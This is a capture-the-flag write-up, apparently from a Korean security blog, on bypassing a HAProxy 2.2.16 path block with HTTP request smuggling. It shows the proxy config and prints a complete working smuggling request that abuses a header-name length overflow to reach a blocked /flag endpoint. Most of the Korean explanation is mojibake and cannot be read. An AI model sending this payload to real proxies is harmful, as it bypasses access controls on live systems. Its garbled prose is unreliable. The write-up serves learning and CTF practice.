0x01 ๋ฌธ์ ์ค๋ช
0x02 ํ์ด ๊ณผ์
A) ์ด๊ธฐ ๋ถ์
python flask ์ ํ๋ฆฌ์ผ์ด์
์ด๋ค. ์ฒจ๋ถ๋ ์ฝ๋ ์ค docker-compose.yml
ํ์ผ ์์ haproxy 2.2.16 ๋ฒ์ ์ ์ฌ์ฉํ๋ค๊ณ ๋ช
์๋์ด์๋ค. ๋ํ haproxy.cfg
ํ์ผ์๋ front-end ์๋ฒ ์ ์์ ํน์ ๊ฒฝ๋ก์ ๋ํ ์ ๊ทผ์ ์ฐจ๋จ ํ๋ฉฐ http ํต์ ์ ์ฌ์ฌ์ฉ(reuse) ํ๋ค.
frontend web
bind *:8000
http-request deny if { path_beg /flag }
http-request deny if { path_beg // }
default_backend websrvs
backend websrvs
http-reuse always
server srv1 flask:5000
์ค์ ๋ก /flag ๊ฒฝ๋ก์ ์ ๊ทผํด๋ณด๋ฉด 403 ์๋ฌ๊ฐ ๋ฐ์ํ๋ ๊ฒ์ ์ ์ ์๋ค. ์ฌ๊ธฐ์ ํ์ด ๋๊ฐ์ผ ํ ๋ฐฉํฅ์ ์ก์ ์ ์์๋ค.
B) ๋ฌธ์ ์ ๊ทผ ๋ฐฉ๋ฒ
HTTP Request Smuggling ๊ณต๊ฒฉ์ ์จ๊ฒจ์ง ์์ฒญ์ back-end๋ก ๋ณด๋ด์ด, ๋ค์ ์ ์ ์์ฒญ์ด ๋ค์ด์์ ๋ ํด๋น ์์ฒญ์ ๊ฒฐ๊ณผ๋ฅผ ์จ๊ฒจ์ง ์์ฒญ์ ๊ฒฐ๊ณผ๋ก ๋ฐ๊พธ๋ ๊ณต๊ฒฉ์ด๋ค. ๋ฌธ์ ์ํฉ์์ ์ํ๋ ์๋๋ฆฌ์ค๋ ์๋์ ๊ฐ๋ค.
- ์ ์์ ์ธ ์์ฒญ ์์ /flag ๊ฒฝ๋ก ์์ฒญ์ ํฌํจํ์ฌ ๋ณด๋ธ๋ค.
- front-end ์๋ฒ๋ ์ ์์ ์ธ ์์ฒญ ์ด๊ธฐ์ ์ด๋ฅผ back-end ์๋ฒ๋ก ๋ณด๋ด๊ฒ ๋๊ณ , ์จ๊ฒจ์ง ์์ฒญ์ด back-end ์๋ฒ์ ๋จ๊ฒ ๋๋ค.
- ๋ค์ ์์ฒญ์ด ๋ค์ด์์ ๋, back-end๋ ์ด๋ฅผ ํจ๊ป ์ฒ๋ฆฌํ๋ฉฐ ์จ๊ฒจ์ง ์์ฒญ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ธ๋ค.
C) ๊ณต๊ฒฉ ๊ณผ์
haproxy์ ํด๋น ๋ฒ์ ์ integer overflow ๋ฅผ ํตํด HTTP Request Smuggling์ด ๊ฐ๋ฅํ๋ค. haproxy๋ ์์ฒญ์ ๋ฐ์ผ๋ฉด, ์์๋ฅผ ํ์ฑํ๋ ๊ณผ์ ์์ HTX ๋ผ๋ ๊ตฌ์กฐ๋ฅผ ์ฌ์ฉํ๋ค. ์ ๋ณด๋ฅผ ์ ์ฅํ๋ block์ info ํ๋๋ ํค๋ ์ด๋ฆ์ ๊ธธ์ด(1 byte)์ ๊ฐ์ ๊ธธ์ด๊ฐ ๋ด๊ธด๋ค. ์ฌ๊ธฐ์ ํค๋ ์ด๋ฆ ๋ถ๋ถ์ ์ด์ฉํ์ฌ Request Smuggling์ ์งํํ์๋ค.
1) Content-Length: 54
2) Content-LengthAA...AAA:
์ ์์ ์ธ 1
์ ๊ฒฝ์ฐ๋ ํค๋ ์ด๋ฆ Content-Length
์ ๊ธธ์ด๊ฐ 14 (0b00001110) ๊ฐ ๋์ง๋ง 2
์ ๊ฒฝ์ฐ 270 (0b100001110) ๊ธธ์ด๋ฅผ ๋ฃ์ด, 1byte์ ๊ธฐ์ค ํฌ๊ธฐ๋ฅผ ๋์ด ์ ๋ค. ์ด๋ front-end ์์๋ ๋น์ ์ ํค๋๋ก ์ฒ๋ฆฌ๊ฐ ๋๊ฒ ์ง๋ง, ํ์ฑ์ ๊ฑฐ์น ํ integer overflow ๊ฐ ์ผ์ด๋ 270 ๊ธธ์ด๊ฐ ์๋ 14๊ธธ์ด๋ก ๋จ๊ฒ ๋๋ค. back-end ์์๋ ๊ฒฐ๊ตญ Content-Length: 0
๊ณผ๊ฐ์ด ์ ๋ฌ๋ฐ๋๋ค.
POST / HTTP/1.1
Host: web.h4ckingga.me:10008
Content-Type: application/x-www-form-urlencoded
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 54
GET /flag HTTP/1.1
Host: web.h4ckingga.me:10008
x: x
์์๊ฐ์ ์์ฒญ์ ๋ณด๋ด๋ฉด, front-end ๋ GET /flag HTTP/1.1
์๋ ๋ถ๋ถ์ ์ ์์ ์ผ๋ก back-end๋ก ๋๊ธฐ๊ฒ ๋๋ค. ํ์ง๋ง, back-end ์์๋ ์์ ๋น์ ์ ์ฒ๋ฆฌ ๋์๋ Content-Length0a...aaa
๋ฅผ ์ ์์ ์ผ๋ก ์ธ์ํ๋ฉฐ ๋ฐ์ดํฐ๋ก ๋ณด๋ธ GET /flag HTTP/1.1
์ ๋ด์ฉ์ ์๋ก์ด ์์ฒญ์ ์ผ๋ถ๋ก ๋ฐ์๋ค์ด๊ฒ ๋๋ค. ๊ทธ๋ฆฌํ์ฌ, ๋ค์ ์์ฒญ์ด ๋ค์ด์ค๋ฉด ๊ณต๊ฒฉ์์ ์๋๋๋ก /flag ํ์ด์ง์ ์๋ต์ด ๋์จ๋ค.
0x03 ๊ฒฐ๊ณผ ํ์ธ
- FLAG
- H4CGM{asdfasdfasdfasdfasdf}
0x04 ํ๊ณ ๋ฐ ์ฐธ๊ณ ๋ด์ฉ
HTTP Request Smuggling์ ๊ด์ฌ์ด ์ ๋ฆฌ๋ ์์ฆ, ์ ๋ง ์๊ฐ ๊ฐ๋์ค ๋ชจ๋ฅด๊ณ ํ์๋ ๋ฌธ์ ๋ค. ๊ธฐ๋ณธ์ ์ธ ๊ฐ๋ ๋ฟ๋ง ์๋๋ผ, ์ด๋ฅผ ์ํํ๋ ์์ฒด ์ค๋ฅ๋ ์์์ผ ํ๊ธฐ์ ๋์ด๋๋ ๊ฝค ๋๋ค๊ณ ๋๊ปด์ก๋ค.
์ฐธ๊ณ
'wargame ๐ดโโ ๏ธ write-up > H4CKING GAME' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Web Hacking] Calculator v2 (0) | 2025.01.02 |
---|---|
[Web Hacking] Real PHP LFI (0) | 2025.01.02 |
[Web Hacking] Calculator (1) | 2024.12.19 |